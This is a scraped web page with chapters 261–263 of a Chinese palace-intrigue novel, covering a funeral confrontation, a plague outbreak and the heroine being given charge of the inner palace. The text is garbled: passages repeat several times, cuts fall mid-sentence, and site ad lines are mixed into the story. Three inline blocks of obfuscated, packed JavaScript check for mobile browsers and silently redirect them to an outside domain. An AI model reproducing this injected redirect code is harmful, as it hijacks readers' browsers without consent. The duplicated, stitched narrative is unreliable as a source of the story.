太后脸色微沉,“胡说,哀家身体不适,按理说,你们也该为哀家侍疾,哀家念及国丧,体恤你们辛苦,让云筝一个人代替你们侍疾。“ ”你不但不感恩,还指控她杀了大皇子,恩将仇报。” 李贵嫔一反常态,大声怒喝,“太后,您真的病了?还是在装病?敢不敢当众让太医们瞧瞧?” 全场鸦雀无声,她真的疯了! 皇上勃然大怒,“放肆。” “胆敢对太后无礼,掌嘴。” “啪。”一巴掌下去,不但没有打醒李贵嫔,反而激怒了她。 “皇上,您还是这么偏心,您不在乎你的儿子,但,我在乎!” “我今日就算拼着命不要,也要让害我儿子的人偿命。” 江城郡主看不下去了,她儿子**确实可怜,但,干嘛要拉云筝下水? 她没有主动得罪过任何人。 “你口口声声说云筝害你儿子?你有证据吗?有证人吗?” 李贵嫔冷笑一声,“鬼医是她的人,想害死一个人是轻而易举的事。” 云筝翻了个白眼,她就说嘛,这破地方不能多待。 江城郡主无奈极了,这是无端指控,据她所知,是鬼医救了三位皇子。 “她图什么?” 李贵嫔振振有词,“当然是为了皇位,她想弄死所有皇室子弟,让睿亲王上位。” 云筝实在忍无可忍,“照你这么说,我为什么不当场把所有皇子弄死?还要救他们?留着过年吗?” 李贵嫔心中充满了恨意,为什么别人都活着,就她儿子**? 这不公平! 要死,就一起死。 不光是云筝,所有人都得死! 皇子的棺木,面有怨恨,“皇儿,娘会为你报仇的。” 她猛的看向云筝,大声喝道,“云筝,你在灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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皇子的棺木,面有怨恨,“皇儿,娘会为你报仇的。” 她猛的看向云筝,大声喝道,“云筝,你在灵前自刎吧,我保证不会迁怒云家。” 所有人的目光都看向云筝,震惊,不敢置信,质疑。 云筝一脸的懵逼。她没听错吧? “你什么意思?” 李贵嫔眼中的恨意快要溢出来了,“云筝,你别装了,是你害**大皇子,是你!” 天降一口大黑锅,云筝都气笑了。 “我?” 李贵嫔怒气冲天,“对,就是你害的,这些天你心虚的都躲了起来。” 云筝:……她就是躲懒,不是心虚! 太后脸色微沉,“胡说,哀家身体不适,按理说,你们也该为哀家侍疾,哀家念及国丧,体恤你们辛苦,让云筝一个人代替你们侍疾。“ ”你不但不感恩,还指控她杀了大皇子,恩将仇报。” 李贵嫔一反常态,大声怒喝,“太后,您真的病了?还是在装病?敢不敢当众让太医们瞧瞧?” 全场鸦雀无声,她真的疯了! 皇上勃然大怒,“放肆。” “胆敢对太后无礼,掌嘴。” “啪。”一巴掌下去,不但没有打醒李贵嫔,反而激怒了她。 “皇上,您还是这么偏心,您不在乎你的儿子,但,我在乎!” “我今日就算拼着命不要,也要让害我儿子的人偿命。” 江城郡主看不下去了,她儿子**确实可怜,但,干嘛要拉云筝下水? 她没有主动得罪过任何人。 “你口口声声说云筝害你儿子?你有证据吗?有证人吗?” 李贵嫔冷笑一声,“鬼医是她的人,想害死一个人是轻而易举的事。” 云筝翻了个白眼,她就说嘛,这破地方不能多待。 江城郡主无奈极了,这是无端指控,据她所知,是鬼医救了三位皇子。 “她图什么?” 李贵嫔振振有词,“当然是为了皇位,她想弄死所有皇室子弟,让睿亲王上位。” 云筝实在忍无可忍,“照你这么说,我为什么不当场把所有皇子弄死?还要救他们?留着过年吗?” 李贵嫔心中充满了恨意,为什么别人都活着,就她儿子**? 这不公平! 要死,就一起死。 不光是云筝,所有人都得死! 皇子的棺木,面有怨恨,“皇儿,娘会为你报仇的。” 她猛的看向云筝,大声喝道,“云筝,你在灵前自刎吧,我保证不会迁怒云家。” 所有人的目光都看向云筝,震惊,不敢置信,质疑。 云筝一脸的懵逼。她没听错吧? “你什么意思?” 李贵嫔眼中的恨意快要溢出来了,“云筝,你别装了,是你害**大皇子,是你!” 天降一口大黑锅,云筝都气笑了。 “我?” 李贵嫔怒气冲天,“对,就是你害的,这些天你心虚的都躲了起来。” 云筝:……她就是躲懒,不是心虚! 太后脸色微沉,“胡说,哀家身体不适,按理说,你们也该为哀家侍疾,哀家念及国丧,体恤你们辛苦,让云筝一个人代替你们侍疾。“ ”你不但不感恩,还指控她杀了大皇子,恩将仇报。” 李贵嫔一反常态,大声怒喝,“太后,您真的病了?还是在装病?敢不敢当众让太医们瞧瞧?” 全场鸦雀无声,她真的疯了! 皇上勃然大怒,“放肆。” “胆敢对太后无礼,掌嘴。” “啪。”一巴掌下去,不但没有打醒李贵嫔,反而激怒了她。 “皇上,您还是这么偏心,您不在乎你的儿子,但,我在乎!” “我今日就算拼着命不要,也要让害我儿子的人偿命。” 江城郡主看不下去了,她儿子**确实可怜,但,干嘛要拉云筝下水? 她没有主动得罪过任何人。 “你口口声声说云筝害你儿子?你有证据吗?有证人吗?” 李贵嫔冷笑一声,“鬼医是她的人,想害死一个人是轻而易举的事。” 云筝翻了个白眼,她就说嘛,这破地方不能多待。 江城郡主无奈极了,这是无端指控,据她所知,是鬼医救了三位皇子。 “她图什么?” 李贵嫔振振有词,“当然是为了皇位,她想弄死所有皇室子弟,让睿亲王上位。” 云筝实在忍无可忍,“照你这么说,我为什么不当场把所有皇子弄死?还要救他们?留着过年吗?” 李贵嫔心中充满了恨意,为什么别人都活着,就她儿子**? 这不公平! 要死,就一起死。 不光是云筝,所有人都得死! 第261章 可怕的猜想 “你向来诡计多端谁知道你是怎么想的。” 云筝冷嘲热讽“三皇子和四皇子才是夺嫡最大的热门他们有百官和宗室的支持大皇子有什么?” 李贵嫔两眼充血刻骨的恨意“他是皇长子立嫡立长。” 她就这么一个儿子儿子**她就没有了指望。 她还怕什么? 云筝觉得事情没有那么简单故意试探道“有你这么一个被人当枪使的蠢货亲娘谁会选他?” 她一边说一边看向四周“有三皇子和四皇子挡在前面大皇子几乎没有胜算。” 大家的神色各异几位皇子的表情耐人寻味。 云筝眼珠微转“为什么要冲一个注定不可能成功的人下手?哦因为蠢。” 她指了指自己“我呢未来的睿王妃尊贵无双一辈子荣华富贵有什么可愁的?我为什么要趟这浑水?” “皇上您觉得我蠢吗?” 皇上知道她的臭脾气人家都逼她自刎了她能不骂吗? “行了朕知道你是个好的。” 李贵嫔哪里受得了这刺激“云筝你敢说你不想当皇后?” 云筝毫不犹豫的说道“不想皇后有什么好?皇上有三宫六院七十二妃皇后只能装大度忍着心酸照顾他的女人和孩子们。” “我可受不了这委屈我要独宠!” 皇后就是受不了才会走上绝路。 云筝可不想走她的老路 皇上没好气的瞪了她一眼倒是信了她的话“胡闹。” 宗正看不下去了“女子不能善嫉要三从四德以夫为天主动替夫君纳妾替皇室开枝散叶。” 云筝撇了撇小嘴“我就不。” 她环视四周气焰嚣张“我说话算话来一个杀一个来两个杀一双不怕死的尽管扑过来。” 不少年轻女子纷纷垂下头不敢直视。 宗正不能忍“皇上如此善妒的女子不配当睿王妃还请废除这桩婚约还睿亲王自由。” 只要嫁进皇室就要守皇室的规矩替皇室开枝散叶才是最重要的。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 云筝可怜兮兮的看向太后,太后清冷的声音响起,“哀家很满意这个儿媳妇,睿亲王也很满意,至于别人满不满意,谁在乎? 就算是皇族族长,面对太后时也不得不软下态度。 “太后,您三思啊,她真不是良配,会害了睿亲王。 太后神色冷淡,不置一词。 只要她不松口,这桩婚事就拆散不了。 云筝忽然惊叫一声,“啊,我知道李贵嫔为什么这么恨我了? 她将大家的注意力都吸引过来,这才慢悠悠的说道。 “这是恨鬼医救活了三位皇子,要死,一起死啊。 她看向几个皇子,“二皇子,三皇子,四皇子,你们的大哥都**,你们怎么好意思独活? “贵嫔娘娘,是这个意思吧? 李贵嫔不吭声,但,表情告诉了大家答案。 三位皇子气的脸都绿了,怎么?还想让他们给大哥陪葬? 皇上见状,心中恼怒,但面上不露,“都别闹了,起灵。 李贵嫔眼神闪烁,忽然张口叫道,“皇后娘娘不是伤心而死,是被逼死的! 这话如石破天惊,所有人都震惊了。 虽然,私底下都在猜测皇后的死因,但,这么当面道破,真的好吗? 皇上面如沉水,来人,把李贵嫔送回寝宫,没朕的旨意,不许出来。 李贵嫔抱着棺材不放,歇斯底里的尖叫,“皇后是怎么被逼死的,云筝,你敢当众说原因吗? 云筝冷笑一声,你不敢问皇上,却将矛头对准了她,想让她拉仇恨值。 “逼死?你没病吧,这世上谁能逼死一个皇后? “皇上,李贵嫔说你**呢。 话音刚落,全场静的可怕,气氛僵滞。 皇上脸色难看到了极点,“李贵嫔痛失爱子,神智不清,带下去。 李贵嫔大吼一声,“谁敢动我,我这就撞死在棺材上。 就在对峙时,一声惊呼响起,“啊。 “五公主,您怎么了? 五公主倒在宫女怀里,小脸惨白如纸,恹恹的说道,“我难受,恶心想吐。 一名嫔妃看了过来,“五公 你的朋友正在书荒,快去帮帮他吧 主,皇上早就下令,所有人都要为皇后和大皇子送葬,您这是不想去?” 五公主眼泪汪汪的,忽然哇一声吐了,吐的稀里哗啦,“我昨日就不舒服了,一直强忍着。” 皇上眉头紧皱,“太医。” 太医很快赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16274859|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,诊治一番后说道,“公主年纪小,身体弱,是累着了,休息几日即可。” 皇上面色稍霁,“五公主不用送葬了,下去歇着吧。” “谢父皇。” “起灵。” 云筝看着五公主呕吐不止的一幕,不知怎么的,后背发冷。 她凑了过去,“皇上,鬼医呢?让他看看呗。” 皇上还没说什么,那太医就有些不耐烦,“锦云郡主,我已经诊断过了,还有什么可质疑的?鬼医来了,也是这样。” “吉时快过了,赶紧吧。” 云筝神色怔怔的,忽然,脑海里闪过相似的一幕,不由自主的打了个冷战。 不好!要完! 她悄无声息的退到太后身边,压低声音说道,“太后,我们先回宫,快快快。” 太后被她的急迫吓了一跳,“怎么回事?” 云筝双手微颤,“您就听我的,把鬼医叫上。” 一名宫妃回过头,”锦云郡主,你怎么还不跟上?不会又想偷懒吧?” 太后见云筝脸色都变了,当机立断,“皇上,哀家忽然头晕眼花,很不舒服,想让云筝陪哀家回去。” 云筝补了一句,“皇上,召鬼医给太后瞧瞧吧。” 皇上看着太后苍白的脸色,不像是装的。 他微微颌首,“云筝,你扶太后回去,好好侍候太后。” “是。” “鬼医不必跟着送葬队伍,留在宫中给太后治病。” “是。” 云筝迟疑了一下,“皇上,这天气炎热,您又是万金之躯,送到宫门口就回来吧。” 皇上有些惊讶,皱起眉头,她可不像说这话的人。 “不可,朕要送皇后最后一程。” 送皇后是假,送大皇子一程是真,一片拳拳爱子心。 云筝无声叹息,她尽力了! 目送一行人离开,她将太后扶回慈宁宫。 一进宫,她立马下令,“即刻起,闭宫,除了鬼医之外,任何人不得进出,违令者,杀!” 这一声如惊雷般炸开,大家都变了脸色。 关嬷嬷急急的问道,“郡主,这是什么情况?” 云筝的表情前所未有的凝重,“我只是猜测,希望是我弄错了。” 如果她猜对了,那就是全军覆没! 第262章 时疫 云筝深吸一口气,心中的怀疑没有得到确认之前,不能乱说。 否则,就是散布谣言,动摇人心,祸乱朝纲。 这个罪名太大了,就算是她也扛不住。 “太后,您先去休息吧,这里有我。” 太后张了张嘴,但,看着她严肃的表情,将话咽了回去,“我去佛堂,你有事……就来找我。” “是。” 云筝心神不安,来来**的走动。 外面响起敲门声,“郡主。” 是立春,他没有跟去送葬,被留下来保护皇宫。 云筝精神一震,打开门让他进来。 “立春,交给你一个任务,马上集结明镜司,控制太医院,将所有人控制起来,不许任何人进出。” 立春头皮一阵发麻,惊恐万状,她不会是想**吧? “郡主,您别乱来。” 云筝没好气的瞪了他一眼,“想什么呢?我一个安分守己的大忠臣,所做的一切都是为了皇上,为了这个国家。” “马上要乱了,要想保命就听我的。” 一旦生乱,她也没法独善其身。 乱了?为什么乱?立春有些心神不宁,分不清她的话有几分真假,“可是……” 云筝挥了挥手,“没有什么可是,赶紧去,把那些药材都给保护好。” “啊,对了,午门那边找几个人盯着,皇上一回来就跟我说一声。” “是。” 鬼医姗姗来迟,“太后呢?我先给她把个脉。” 云筝一把拉住他,“鬼医,你还记得五年前的平成镇吗?” 鬼医的脸色大变,“你怎么想起这事?难道……又爆发了?在哪里?” 云筝微微点头,“皇宫!” 有些话不能说,怕一说出来,就成了事实。 鬼医脸色发青,他知道云筝是个聪明绝顶的人,若没有一点迹象,她是不会这么紧张的。 “可,这是皇宫啊!是权力的中心!怎么会这么不小心?” 云筝心情沉重,“或许这一开始就是一个局,而,你我都困在局中。” 鬼医忍不住骂了一句脏话,他只是一个大夫,不懂权力倾轧。 你的朋友正在书荒,快去帮帮他吧 “那,我去看看五公主,确认一下? 云筝赶紧阻止,“不妥,我跟五公主本来就有仇怨,你又是我的人,到时她出了什么事,我们都说不清楚。 鬼医一想,可不是嘛。“那怎么办? 云筝沉吟半响,“当年平成镇之事,大夫们有治疗的良方吗? 鬼医轻轻叹气,“没有,至死都没有对症的药方。 那场景太过惨烈,几千人被活活困死在小镇,任谁都忘不了。 云筝脸色大变,“那清心解毒丸能用吗? 鬼医微微摇头,“我不确定,毕竟那不是毒。 他安慰道,“而你也只是猜测,或许事情没有那么糟糕。 云筝苦笑一声,“希望吧。 但她的直觉,告诉她事情没有那么简单。 送葬的队伍浩浩荡荡,刚出了午门,队伍就有些乱了。 皇上正带着两个小儿子坐在车厢内,听到后面的惊呼声,蹙了蹙眉,“出了什么事? 一名宫人跑过来禀道,“禀皇上,几位嫔妃晕倒了。 皇上脸色一沉,“废物,抬她们回去。 不一会儿,禀报的人又来了。 “禀皇上,几位老宗亲也晕倒了。 “禀皇上,几位老诰命也晕过去。 “禀皇上,几个年轻的官眷也晕了。 “停。 皇上拉开帘子,看着晕了一地的人,终于意识到不对劲了。 “传太医,把所有的太医都叫来。 太医们轮流诊断,刚开始时还挺轻松的,都说是累着了。 但,医正一把脉,脸都绿了。 “禀皇上,是…… 皇上有种不好的预感,“是什么? 医正扑通一声跪倒在地,面如死灰,“是……时疫! “轰隆隆,如一道惊雷砸在所有人头顶,炸开了锅。 什么?时疫?让人闻风丧胆的时疫! 感染性极强,会**的! 大家都慌了手脚,手足无措。 好端端的怎么会得时疫?他们一起待了七日,会不会也传染了? 你的朋友正在书荒,快去帮帮他吧 恐慌如瘟疫般蔓延,一下子全乱了。 皇上脸色剧变,忽然想起几年前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16274860|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一封奏折,平成镇爆发时疫,朝廷接到消息立马赶去抗疫。 几日后,时疫蔓延不可控,当地官府下了诛杀令。 整个镇子的病人被围在里面,一把火烧了,一个都没有逃出来。 几位皇子吓坏了,瑟瑟发抖,“父皇,怎么办?” 皇上心口如被压了一块大石头,有些喘不过气来。 他甚至不敢当众让太医把脉,自己有没有被传染上。 一旦帝王得了时疫,整个天下就要大乱了。 他咬破舌尖,努力让自己清醒一点。 这么多人感染了时疫,不可能是巧合。 是圈套! “传旨,马上**息,不许聚众讨论,不许给外界传递消息,若违令,满门抄斩。” “来人,召集西郊大营入京,迅速控制城防,没有朕的命令,不许任何人随意进出。” 他第一时间将京城控制在自己手里。 “是。” 皇上深吸一口气,“这些感染了时疫的人,迅速送往郊外皇觉寺,季太医,曾太医,你们跟过去,尽全力救治。” 两太医脸都绿了,这是时疫啊,要传染的。 “皇上,我们医术不精,不如从民间征召一批大夫,让他们过去救治,我们想随侍在帝王身边。” 皇上冷冷看了一眼,怂了? “宗正,你带着人继续送葬。” 宗正的心情沉重无比,**自己有没有传染,也不知道传染了多少人。 他恨不得立马找个地方躲起来,但,别无选择,身为宗室的族长,他不能逃。 “是。” 皇上果断下令,“送葬后,在就近的皇庄居住,不得返京。” 宗正壮着胆子求道,“皇上,请赐几名太医吧。” 皇上随口点了两人,“张太医,李太医,你们跟宗正走,再多民间征召一批大夫,分一半带过去。” 两太医面面相觑,总比同僚幸运吧。 皇上继续下令,“皇室子弟,嫔妃,内阁,六部尚书,公侯勋贵随朕回宫。” “是。” 一支队伍分成三路,皇上带着人重新回到皇宫。 看到宫门口,皇上忽然想起云筝的那一句话,眼神冷了下来。 “来人,把锦云叫来。” 第263章 临危受命,权力在手 云筝听到传召,无声叹了一口气,还是躲不掉啊。 太后听闻皇上忽然折返,知道是出了大事,心里忐忑不安。 “到底出了什么事?” 传旨太监不敢隐瞒,如实说道,“送葬队伍有人得了时疫。” 时疫?太后闻声色变,紧紧拉着云筝的手不放。 “回去告诉皇上,锦云郡主要侍候我,不能奉召。” 若是云筝在她眼皮底下出了事,怎么向儿子交待? 传旨太监战战兢兢的说道,“请太后恕罪,这是皇上急召。” 云筝见状,强笑道,“没事的,我就跑一趟。” “太后,不管谁来敲门都不要开,您就待在佛堂。” 太后面有忧色,“皇上到底是什么意思?这种时候为什么还要把你叫去添乱?” 云筝扯上腰间的药囊,漫不经心的系在太后手腕上,冲她眨了眨眼。 “您放心,我能应付。” 一队侍卫将养心殿围的水泄不通,气氛紧张。 云筝走进养心殿,发现静的出奇,人呢? 养心殿很大,有三进,一进是跟朝中重臣议事的地方,二进是处理公事的地方,三进是寝殿。 她到了二进,才看到坐在院子里的皇上,快步走过去。 “见过皇上。” 一直没听见叫起声,她的腰有些酸,索性自己起身了。 皇上不动声色的观察她,见状都气笑了。 “朕叫起了吗?” 云筝眨巴着眼睛,一脸的无辜。 “皇上,我身娇体弱,撑不住了,再晚一下下就要摔的鼻青眼肿,您是宽容大度的圣君,一定不会在意这些繁文缛节吧。” 她依旧是这副臭德行,又任性又嘴甜。 皇上冷哼一声,心中的怒火稍退,“看来,朕太惯着你了,把你纵的无法无天。” 云筝笑眯眯的说道,“得遇英主,是云筝的福气。” 皇上不跟她兜圈子了,开门见山的问道,“你是不是提前知道了?” 云筝收起笑容,陷入了回忆中。 “五年前,我就在平成镇不远的县城,我们云家还捐了一批药材,可惜,没用上。” 她神色怅然无比。 那一次,她才知道什么是人间炼狱,至今难以忘怀。 皇上微怔,“平成镇?那一年,睿亲王奉命前往平成镇处理疫情事项。” 云筝沉默,她知道啊,那是她跟睿亲王初见的地方。 当时他们那一批药材就是捐给了睿亲王。 可惜,当时事态彻底失控,睿亲王来晚了,只来得及善后。 她当时还是个孩子,还作男儿打扮,睿亲王早就忘了那匆匆一面。 见她发呆,皇上无奈极了,“你什么时候知道的?” 云筝轻轻叹气,“五公主呕吐的场景,勾起了我很多不好的回忆,我这人容易多思多想,忍不住心生怀疑。” 皇上紧紧盯着她,“为什么不提醒朕?” 他这是怪她喽? 云筝理直气壮的说道,“提了啊,我让您送到宫门口就回来。” 皇上默了默,“你这么隐晦,谁能听出来?” 云筝瞪大眼睛,一脸的不服气,“那我怎么说?说五公主得了时疫,大家都要完蛋了?” “您会信吗?不信,还会嫌我晦气,说不定还会怪我公报私仇,诅咒五公主。” “所有人都觉得我别有用心,不怀好意。” 皇上的面色越来越沉,不可否认,一切都会她所说的那样发展。 时疫啊,谁第一个提出来,谁倒霉。 谁会喜欢报噩耗的乌鸦? “你想的太多了。” 云筝更不服气了,“我当时还特意多提了一句,让鬼医给五公主看看,您是怎么拒绝我的?” 她大声控诉,“您还嫌我碍事!” “说到底,这事能怪我吗?真是好心没好报,哼。” 对,她没错,错的皇上! 皇上:…… “行了,眼下最重要的是防疫,鬼医有办法吗?” “没有。” 云筝见他怒气全消,嘴角轻轻上扬,“皇上,我已经让立春去控制了太医院,守着那些药材,免得有人故意毁掉药材。” 皇上微怔,“你是说?” 他一回宫就忙着控制皇宫各个地方的防卫,安排折返人员的住所 和饮食起居,还没顾上太医院。 云筝淡淡的问了一句,“太医院每周请两次太平脉,他们真的一无所觉吗?” 皇上眉头紧皱。 云筝话风一转,“您若不嫌弃,我让云家商号送一批药材进来。” 这个可以有。 皇上微微点头,“多送点。” “你和鬼医都留在朕身边。” 云筝打量了他两眼,啥意思?是不放心她?还是信任? 帝王心,深不可测。 皇上冷冷的看着她,“不愿意?” 云筝哪里敢说不愿意?“我住哪里呀?养心殿合适吗?” 瓜田李下,他们不仅是君臣,还是大伯和弟媳妇的关系,要是同住一殿,大家的名声都不要了? 就算事急从权,也不能这样啊。 皇上嘴角抽了抽,“你去跟江城郡主住,她住的地方离养心殿不远,白日留在朕身边,晚上回去住。” 云筝长长吐了一口气,“幸好,幸好。” 皇上气的不想理她,她这脑子整天想些什么呀? 云筝不懂就问,“皇上,我为啥白日留在养心殿?多不方便啊。” 皇上这才回过头,忽然开口道,“令,锦云郡主暂代主持宫务,管理后宫一切事务,江城郡主辅佐。” 云筝目瞪口呆,他在说什么鬼话? 主持宫务是皇后的权力,就算皇后**,从后妃中挑出一个暂代就行。 “皇上,我只是一个普通的郡主,哪有资格插手宫务。” 出了这样的事,皇上对后宫充满了怀疑,一个都不信。 “锦云,朕将后宫交给你打理,是深思熟虑的结果。” 云筝只觉得责任重大,“为什么是我?” 在别人看来,接手宫务是权力的象征,可对她来说,是烫山竽。 皇上轻轻叹气,“如今后宫无主,嫔妃们……朕信不过。此时人心惶惶,最容易出事。” 嫔妃们在意的是家族兴衰,是权力,是荣耀。 她们的私心太重了。 “你是未来的睿王妃,又是内务府官员,连接后宫和内务府,是最合适的人选,最重要的是,后宫都有私心,就你没有。” 他将后宫之主的令牌递给她,“在这风雨飘摇时,朕希望你能临危受命,不负朕所托。” 云筝愣住了,皇上就这么信任她? “行吧。” 既然无法出宫,那就将主动权控制在自己手里。 消息一出,宫廷上下震动,也打乱了有些人的安排。 深宫某处,有人抓狂了,“啊啊啊,可恶,居然敢破坏我的计划,都**吧。” “云筝,又是你!你死定了!” 和饮食起居,还没顾上太医院。 云筝淡淡的问了一句,“太医院每周请两次太平脉,他们真的一无所觉吗?” 皇上眉头紧皱。 云筝话风一转,“您若不嫌弃,我让云家商号送一批药材进来。” 这个可以有。 皇上微微点头,“多送点。” “你和鬼医都留在朕身边。” 云筝打量了他两眼,啥意思?是不放心她?还是信任? 帝王心,深不可测。 皇上冷冷的看着她,“不愿意?” 云筝哪里敢说不愿意?“我住哪里呀?养心殿合适吗?” 瓜田李下,他们不仅是君臣,还是大伯和弟媳妇的关系,要是同住一殿,大家的名声都不要了? 就算事急从权,也不能这样啊。 皇上嘴角抽了抽,“你去跟江城郡主住,她住的地方离养心殿不远,白日留在朕身边,晚上回去住。” 云筝长长吐了一口气,“幸好,幸好。” 皇上气的不想理她,她这脑子整天想些什么呀? 云筝不懂就问,“皇上,我为啥白日留在养心殿?多不方便啊。” 皇上这才回过头,忽然开口道,“令,锦云郡主暂代主持宫务,管理后宫一切事务,江城郡主辅佐。” 云筝目瞪口呆,他在说什么鬼话? 主持宫务是皇后的权力,就算皇后**,从后妃中挑出一个暂代就行。 “皇上,我只是一个普通的郡主,哪有资格插手宫务。” 出了这样的事,皇上对后宫充满了怀疑,一个都不信。 “锦云,朕将后宫交给你打理,是深思熟虑的结果。” 云筝只觉得责任重大,“为什么是我?” 在别人看来,接手宫务是权力的象征,可对她来说,是烫山竽。 皇上轻轻叹气,“如今后宫无主,嫔妃们……朕信不过。此时人心惶惶,最容易出事。” 嫔妃们在意的是家族兴衰,是权力,是荣耀。 她们的私心太重了。 “你是未来的睿王妃,又是内务府官员,连接后宫和内务府,是最合适的人选,最重要的是,后宫都有私心,就你没有。” 他将后宫之主的令牌递给她,“在这风雨飘摇时,朕希望你能临危受命,不负朕所托。” 云筝愣住了,皇上就这么信任她? “行吧。” 既然无法出宫,那就将主动权控制在自己手里。 消息一出,宫廷上下震动,也打乱了有些人的安排。 深宫某处,有人抓狂了,“啊啊啊,可恶,居然敢破坏我的计划,都**吧。” “云筝,又是你!你死定了!” 和饮食起居,还没顾上太医院。 云筝淡淡的问了一句,“太医院每周请两次太平脉,他们真的一无所觉吗?” 皇上眉头紧皱。 云筝话风一转,“您若不嫌弃,我让云家商号送一批药材进来。” 这个可以有。 皇上微微点头,“多送点。” “你和鬼医都留在朕身边。” 云筝打量了他两眼,啥意思?是不放心她?还是信任? 帝王心,深不可测。 皇上冷冷的看着她,“不愿意?” 云筝哪里敢说不愿意?“我住哪里呀?养心殿合适吗?” 瓜田李下,他们不仅是君臣,还是大伯和弟媳妇的关系,要是同住一殿,大家的名声都不要了? 就算事急从权,也不能这样啊。 皇上嘴角抽了抽,“你去跟江城郡主住,她住的地方离养心殿不远,白日留在朕身边,晚上回去住。” 云筝长长吐了一口气,“幸好,幸好。” 皇上气的不想理她,她这脑子整天想些什么呀? 云筝不懂就问,“皇上,我为啥白日留在养心殿?多不方便啊。” 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深宫某处,有人抓狂了,“啊啊啊,可恶,居然敢破坏我的计划,都**吧。” “云筝,又是你!你死定了!” 和饮食起居,还没顾上太医院。 云筝淡淡的问了一句,“太医院每周请两次太平脉,他们真的一无所觉吗?” 皇上眉头紧皱。 云筝话风一转,“您若不嫌弃,我让云家商号送一批药材进来。” 这个可以有。 皇上微微点头,“多送点。” “你和鬼医都留在朕身边。” 云筝打量了他两眼,啥意思?是不放心她?还是信任? 帝王心,深不可测。 皇上冷冷的看着她,“不愿意?” 云筝哪里敢说不愿意?“我住哪里呀?养心殿合适吗?” 瓜田李下,他们不仅是君臣,还是大伯和弟媳妇的关系,要是同住一殿,大家的名声都不要了? 就算事急从权,也不能这样啊。 皇上嘴角抽了抽,“你去跟江城郡主住,她住的地方离养心殿不远,白日留在朕身边,晚上回去住。” 云筝长长吐了一口气,“幸好,幸好。” 皇上气的不想理她,她这脑子整天想些什么呀? 云筝不懂就问,“皇上,我为啥白日留在养心殿?多不方便啊。” 皇上这才回过头,忽然开口道,“令,锦云郡主暂代主持宫务,管理后宫一切事务,江城郡主辅佐。” 云筝目瞪口呆,他在说什么鬼话? 主持宫务是皇后的权力,就算皇后**,从后妃中挑出一个暂代就行。 “皇上,我只是一个普通的郡主,哪有资格插手宫务。” 出了这样的事,皇上对后宫充满了怀疑,一个都不信。 “锦云,朕将后宫交给你打理,是深思熟虑的结果。” 云筝只觉得责任重大,“为什么是我?” 在别人看来,接手宫务是权力的象征,可对她来说,是烫山竽。 皇上轻轻叹气,“如今后宫无主,嫔妃们……朕信不过。此时人心惶惶,最容易出事。” 嫔妃们在意的是家族兴衰,是权力,是荣耀。 她们的私心太重了。 “你是未来的睿王妃,又是内务府官员,连接后宫和内务府,是最合适的人选,最重要的是,后宫都有私心,就你没有。” 他将后宫之主的令牌递给她,“在这风雨飘摇时,朕希望你能临危受命,不负朕所托。” 云筝愣住了,皇上就这么信任她? “行吧。” 既然无法出宫,那就将主动权控制在自己手里。 消息一出,宫廷上下震动,也打乱了有些人的安排。 深宫某处,有人抓狂了,“啊啊啊,可恶,居然敢破坏我的计划,都**吧。” “云筝,又是你!你死定了!” 和饮食起居,还没顾上太医院。 云筝淡淡的问了一句,“太医院每周请两次太平脉,他们真的一无所觉吗?” 皇上眉头紧皱。 云筝话风一转,“您若不嫌弃,我让云家商号送一批药材进来。” 这个可以有。 皇上微微点头,“多送点。” “你和鬼医都留在朕身边。” 云筝打量了他两眼,啥意思?是不放心她?还是信任? 帝王心,深不可测。 皇上冷冷的看着她,“不愿意?” 云筝哪里敢说不愿意?“我住哪里呀?养心殿合适吗?” 瓜田李下,他们不仅是君臣,还是大伯和弟媳妇的关系,要是同住一殿,大家的名声都不要了? 就算事急从权,也不能这样啊。 皇上嘴角抽了抽,“你去跟江城郡主住,她住的地方离养心殿不远,白日留在朕身边,晚上回去住。” 云筝长长吐了一口气,“幸好,幸好。” 皇上气的不想理她,她这脑子整天想些什么呀? 云筝不懂就问,“皇上,我为啥白日留在养心殿?多不方便啊。” 皇上这才回过头,忽然开口道,“令,锦云郡主暂代主持宫务,管理后宫一切事务,江城郡主辅佐。” 云筝目瞪口呆,他在说什么鬼话? 主持宫务是皇后的权力,就算皇后**,从后妃中挑出一个暂代就行。 “皇上,我只是一个普通的郡主,哪有资格插手宫务。” 出了这样的事,皇上对后宫充满了怀疑,一个都不信。 “锦云,朕将后宫交给你打理,是深思熟虑的结果。” 云筝只觉得责任重大,“为什么是我?” 在别人看来,接手宫务是权力的象征,可对她来说,是烫山竽。 皇上轻轻叹气,“如今后宫无主,嫔妃们……朕信不过。此时人心惶惶,最容易出事。” 嫔妃们在意的是家族兴衰,是权力,是荣耀。 她们的私心太重了。 “你是未来的睿王妃,又是内务府官员,连接后宫和内务府,是最合适的人选,最重要的是,后宫都有私心,就你没有。” 他将后宫之主的令牌递给她,“在这风雨飘摇时,朕希望你能临危受命,不负朕所托。” 云筝愣住了,皇上就这么信任她? 